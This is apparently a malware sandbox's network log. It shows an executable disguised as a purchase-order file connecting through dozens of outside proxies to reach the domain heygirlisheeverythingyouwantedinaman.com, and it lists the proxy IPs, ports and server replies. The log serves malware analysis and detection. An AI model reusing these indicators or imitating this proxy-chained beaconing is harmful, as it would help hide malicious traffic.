Mar 11, 2024 16:39:51.130395889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.973438025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1356	192.168.2.10	54105	80.249.112.162	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.141845942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.527616978 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1357	192.168.2.10	53575	64.227.108.25	31908	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.145096064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1358	192.168.2.10	54147	147.75.92.251	10089	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.210283041 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:51.491612911 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1359	192.168.2.10	54181	35.190.107.16	30000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.263024092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1360	192.168.2.10	54184	104.19.83.128	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.267133951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.421379089 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1361	192.168.2.10	54153	23.137.248.197	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.268050909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1362	192.168.2.10	54194	104.16.107.206	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.272109032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.426304102 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1363	192.168.2.10	53970	117.160.250.134	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.273925066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.613862038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.293296099 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:53 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1364	192.168.2.10	54116	120.194.4.157	82	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.277090073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.725960970 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1365	192.168.2.10	54152	157.185.173.217	26589	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.281456947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1366	192.168.2.10	54161	5.252.23.206	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.297370911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.984553099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1367	192.168.2.10	54162	82.223.121.72	64871	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.299416065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.984548092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.098687887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.207953930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.053112984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.874373913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.801547050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.470448017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:29.910670996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1368	192.168.2.10	53584	212.110.188.202	34409	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.300924063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.398576021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.401134968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.994350910 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1369	192.168.2.10	53588	203.89.8.107	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.317477942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.488923073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.489275932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.305068970 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 15:39:58 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1370	192.168.2.10	53009	157.245.255.109	43162	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.317533016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.488934040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.489268064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.582830906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.676388025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1371	192.168.2.10	53237	184.170.245.148	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.322901011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1372	192.168.2.10	54262	172.67.181.37	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.326297998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.480457067 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1373	192.168.2.10	54278	172.67.181.9	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.334496021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.488857985 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1374	192.168.2.10	50023	45.224.247.102	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.339176893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.398606062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.401134968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.411034107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1375	192.168.2.10	54174	8.217.143.187	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.348409891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1376	192.168.2.10	54166	125.122.26.242	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

